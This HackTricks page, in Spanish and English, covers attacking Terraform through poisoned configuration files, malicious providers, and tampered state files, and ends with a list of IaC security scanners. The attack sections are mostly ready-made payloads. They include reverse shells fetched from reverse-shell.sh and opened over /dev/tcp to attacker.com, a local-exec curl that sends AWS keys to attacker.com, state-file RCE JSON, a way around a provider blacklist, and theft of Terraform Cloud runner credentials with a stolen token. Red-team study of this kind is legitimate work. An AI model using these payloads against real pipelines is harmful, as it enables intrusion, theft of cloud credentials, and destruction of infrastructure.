Terraform Seguridad

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

From the docs:

HashiCorp Terraform es una herramienta de infraestructura como código que te permite definir tanto recursos en la nube y on-prem en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para provisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como cómputo, almacenamiento y recursos de red, así como componentes de alto nivel como entradas DNS y funcionalidades SaaS.

¿Cómo funciona Terraform?

Terraform crea y gestiona recursos en plataformas cloud y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los providers permiten que Terraform funcione con prácticamente cualquier plataforma o servicio que tenga una API accesible.

HashiCorp y la comunidad de Terraform ya han escrito más de 1700 providers para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los providers disponibles públicamente en el Terraform Registry, incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.

El flujo de trabajo central de Terraform consta de tres etapas:

  • Write: Defines los recursos, que pueden abarcar múltiples proveedores cloud y servicios. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales dentro de una Virtual Private Cloud (VPC) con grupos de seguridad y un balanceador de carga.
  • Plan: Terraform crea un plan de ejecución que describe la infraestructura que va a crear, actualizar o destruir basándose en la infraestructura existente y tu configuración.
  • Apply: Tras la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando las dependencias entre recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.

Laboratorio de Terraform

Solo instala terraform en tu ordenador.

Aquí tienes una guide y aquí tienes la best way to download terraform.

RCE in Terraform: config file poisoning

Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).

However, terraform is a very sensitive component to compromise because it will have privileged access to different locations so it can work properly.

The main way for an attacker to be able to compromise the system where terraform is running is to compromise the repository that stores terraform configurations, because at some point they are going to be interpreted.

Actually, there are solutions out there that execute terraform plan/apply automatically after a PR is created, such as Atlantis:

Atlantis Security

If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed terraform plan or terraform apply.

Terraform plan

Terraform plan is the most used command in terraform and developers/solutions using terraform call it all the time, so the easiest way to get RCE is to make sure you poison a terraform config file that will execute arbitrary commands in a terraform plan.

Using an external provider

Terraform offers the external provider which provides a way to interface between Terraform and external programs. You can use the external data source to run arbitrary code during a plan.

Injecting in a terraform config file something like the following will execute a rev shell when executing terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Usando un custom provider

Un atacante podría enviar un custom provider al Terraform Registry y luego añadirlo al código de Terraform en una feature branch (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

El provider se descarga en init y ejecutará el código malicioso cuando se ejecute plan

Puedes encontrar un ejemplo en https://github.com/rung/terraform-provider-cmdexec

Usando una referencia externa

Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque de una manera más sigilosa, siguiendo estas sugerencias:

  • En lugar de añadir el rev shell directamente en el terraform file, puedes cargar un recurso externo que contenga el rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puedes encontrar el rev shell code en https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • En el recurso externo, usa la característica ref para ocultar el terraform rev shell code en una rama dentro del repo, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply se ejecutará para aplicar todos los cambios; también puedes abusar de él para obtener RCE inyectando un archivo Terraform malicioso con local-exec.
Solo necesitas asegurarte de que algún payload como los siguientes termine en el archivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sigue las sugerencias de la técnica anterior para realizar este ataque de una manera más sigilosa usando referencias externas.

Secrets Dumps

Puedes hacer que se vuelquen los valores secretos usados por terraform ejecutando terraform apply añadiendo al archivo terraform algo como:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusar de los archivos de estado de Terraform

En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, this research ofrece algunas opciones interesantes para aprovechar el archivo. Incluso si tuvieras acceso de escritura sobre los archivos de configuración, usar el vector de archivos de estado suele ser mucho más sigiloso, ya que no dejas rastros en el historial de git.

RCE in Terraform: config file poisoning

It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Eliminación de recursos

Hay 2 formas de destruir recursos:

  1. Insertar un recurso con un nombre aleatorio en el state file apuntando al recurso real a destruir

Porque terraform verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modificar el recurso para eliminarlo de forma que no sea posible actualizarlo (por lo que se eliminará y recreará)

Para una instancia EC2, modificar el tipo de la instancia es suficiente para hacer que terraform la elimine y la recree.

Reemplazar proveedor en lista negra

En caso de que te encuentres con una situación donde hashicorp/external fue incluido en la lista negra, puedes re-implementar el provider external haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado en https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o reimplementación.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Entonces puedes usar external como de costumbre.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE y credential exfiltration

Este escenario abusa de los runners de Terraform Cloud (TFC) durante speculative plans para pivotar hacia la cuenta cloud objetivo.

  • Preconditions:

  • Robar un Terraform Cloud token de una máquina de desarrollador. La CLI almacena tokens en texto plano en ~/.terraform.d/credentials.tfrc.json.

  • El token debe tener acceso a la organización/workspace objetivo y al menos el permiso plan. Los workspaces respaldados por VCS bloquean apply desde la CLI, pero todavía permiten speculative plans.

  • Discover workspace and VCS settings via the TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Disparar la ejecución de código durante un speculative plan usando el external data source y el bloque “cloud” de Terraform Cloud para apuntar al VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Ejemplo de rsync.sh para obtener un reverse shell en el TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Realiza un plan especulativo para ejecutar el programa en el runner efímero:

terraform init
terraform plan
  • Enumerar y exfiltrate las credenciales en la nube inyectadas desde el runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor vía archivos y variables de entorno:
env | grep -i gcp || true
env | grep -i aws || true

Archivos esperados en el directorio de trabajo del runner:

  • GCP:

  • tfc-google-application-credentials (config JSON de Workload Identity Federation)

  • tfc-gcp-token (token de acceso GCP de corta duración)

  • AWS:

  • tfc-aws-shared-config (config para asunción de roles web identity/OIDC)

  • tfc-aws-token (token de corta duración; algunas organizaciones pueden usar claves estáticas)

  • Usa las credenciales de corta duración fuera de banda para eludir los gates de VCS:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Con estas credenciales, los atacantes pueden crear/modificar/eliminar recursos directamente usando CLIs nativos, eludiendo flujos de trabajo basados en PR que bloquean apply vía VCS.

  • Defensive guidance:
  • Aplica el principio de mínimo privilegio a usuarios/equipos y tokens de TFC. Audita membresías y evita propietarios con permisos excesivos.
  • Restringe el permiso plan en workspaces sensibles respaldados por VCS cuando sea posible.
  • Implementa allowlists de provider/data source con políticas Sentinel para bloquear data "external" o providers desconocidos. Consulta la guía de HashiCorp sobre provider filtering.
  • Prefiere OIDC/WIF sobre credenciales cloud estáticas; considera los runners como sensibles. Monitorea ejecuciones de plan especulativas y egresos inesperados.
  • Detecta la exfiltración de artefactos de credenciales tfc-* y alerta sobre uso sospechoso del programa external durante ejecuciones de plan.

Comprometiendo Terraform Cloud

Usando un token

Como explained in this post, terraform CLI almacena tokens en texto plano en ~/.terraform.d/credentials.tfrc.json. Robar este token permite a un atacante hacerse pasar por el usuario dentro del alcance del token.

Usando este token es posible obtener la org/workspace con:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Entonces es posible ejecutar código arbitrario usando terraform plan como se explicó en el capítulo anterior.

Escapar a la nube

Entonces, si el runner está ubicado en algún entorno en la nube, es posible obtener un token del principal adjunto al runner y utilizarlo fuera de banda.

  • GCP files (presentes en el directorio de trabajo de la ejecución actual)

  • tfc-google-application-credentials — configuración JSON para Workload Identity Federation (WIF) que indica a Google cómo intercambiar la identidad externa.

  • tfc-gcp-token — token de acceso de GCP de corta duración (≈1 hora) referenciado por el anterior

  • AWS files

  • tfc-aws-shared-config — JSON para web identity federation/OIDC role assumption (preferido frente a claves estáticas).

  • tfc-aws-token — token de corta duración, o potencialmente claves IAM estáticas si está mal configurado.

Herramientas de auditoría automáticas

Snyk Infrastructure as Code (IaC)

Snyk ofrece una solución integral de escaneo Infrastructure as Code (IaC) que detecta vulnerabilidades y malas configuraciones en Terraform, CloudFormation, Kubernetes y otros formatos IaC.

  • Características:
  • Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
  • Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
  • Pull requests de corrección automatizados.
  • Consejos detallados de remediación.
  • Regístrate: Crea una cuenta en Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov es una herramienta de análisis estático de código para infraestructura como código (IaC) y también una herramienta de análisis de composición de software (SCA) para imágenes y paquetes de código abierto.

Escanea la infraestructura en la nube aprovisionada usando Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu y detecta misconfiguraciones de seguridad y cumplimiento mediante un escaneo basado en grafos.

Realiza Software Composition Analysis (SCA scanning), que es un escaneo de paquetes de código abierto e imágenes en busca de Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Desde la docs: terraform-compliance es un framework de pruebas ligero, centrado en seguridad y cumplimiento, para terraform que permite realizar pruebas negativas en tu infraestructura como código.

  • compliance: Asegura que el código implementado cumple con los estándares de seguridad y con tus propios estándares personalizados
  • desarrollo guiado por comportamiento: Tenemos BDD para casi todo, ¿por qué no para IaC?
  • portátil: simplemente instálalo con pip o ejecútalo vía docker. See Installation
  • pre-deploy: valida tu código antes de desplegarlo
  • fácil de integrar: puede ejecutarse en tu pipeline (o en git hooks) para asegurar que todos los despliegues sean validados.
  • separación de funciones: puedes mantener tus tests en un repositorio distinto donde un equipo separado sea responsable.

Note

Desafortunadamente, si el código usa algunos proveedores a los que no tienes acceso, no podrás ejecutar terraform plan ni usar esta herramienta.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec usa análisis estático de tu código de terraform para detectar posibles errores de configuración.

  • ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos secundarios) proveedores cloud
  • ⛔ Cientos de reglas integradas
  • 🪆 Escanea módulos (locales y remotos)
  • ➕ Evalúa expresiones HCL así como valores literales
  • ↪️ Evalúa funciones de Terraform p. ej. concat()
  • 🔗 Evalúa relaciones entre recursos de Terraform
  • 🧰 Compatible con Terraform CDK
  • 🙅 Aplica (y enriquece) políticas Rego definidas por el usuario
  • 📃 Soporta múltiples formatos de salida: lovely (por defecto), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Configurable (vía flags de CLI y/o archivo de configuración)
  • ⚡ Muy rápido; capaz de escanear rápidamente repositorios enormes
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan permite:

  • Escanear de forma fluida la infraestructura como código en busca de misconfiguraciones.
  • Monitorizar la infraestructura cloud provisionada en busca de cambios de configuración que introduzcan posture drift, y permitir revertir a una postura segura.
  • Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
  • Mitigar riesgos antes de provisionar infraestructura nativa en la nube.
  • Ofrece flexibilidad para ejecutarse localmente o integrarse con tu CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y errores de configuración de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con KICS de Checkmarx.

KICS stands for Keeping Infrastructure as Code Secure, es de código abierto y es imprescindible para cualquier proyecto cloud native.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Según la docs: Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan te permite:

  • Escanear de forma transparente la infraestructura como código en busca de misconfiguraciones.
  • Supervisar la infraestructura en la nube aprovisionada para cambios de configuración que introduzcan posture drift, y permite revertir a una postura segura.
  • Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
  • Mitigar riesgos antes de aprovisionar infraestructura nativa en la nube.
  • Ofrece flexibilidad para ejecutarlo localmente o integrarlo con tu CI\CD.
brew install terrascan

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks